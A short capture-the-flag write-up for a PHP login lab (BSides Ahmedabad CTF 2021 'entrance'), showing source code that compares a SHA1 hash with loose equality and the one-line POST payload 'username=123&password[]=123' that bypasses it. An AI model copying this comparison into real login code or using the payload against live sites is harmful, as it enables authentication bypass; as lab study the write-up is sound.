Simple Web 0x19(Lab - PHP Login)

Posted on | Post modified | In |

Simple Web 0x19(Lab - PHP Login)

tags: NTUSTWS CTF Web

Challenge: http://h4ck3r.quest:8081

Background

Source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 
<?php
// BSides Ahmedabad CTF 2021: entrance

include 'flag.php';
$users = array(
    "admin" => "ed2b7b57b3b5be3e8d4246c69e4b513608ffb352",
    "guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);

function lookup($username) {
    global $users;
    return array_key_exists($username, $users) ? $users[$username] : "";
}

if (!empty($_POST['username']) && !empty($_POST['password'])) {
    $sha1pass = lookup($_POST['username']);
    if ($sha1pass == sha1($_POST['password'])) {
        if ($_POST['username'] !== 'guest') echo $FLAG;
        else echo 'Welcome guest!';
    } else {
        echo 'Login Failed!';
    }
} else {
    echo "You can login with guest:guest";
}
echo "<br>\n";
highlight_file(__file__);
?>

Exploit

Must change GET method to POST method and add Content-Type: application/x-www-form-urlencoded in header

通靈 Payload: username=123&password[]=123

Reference

bsides-ahmedabad-ctf-2021-writeups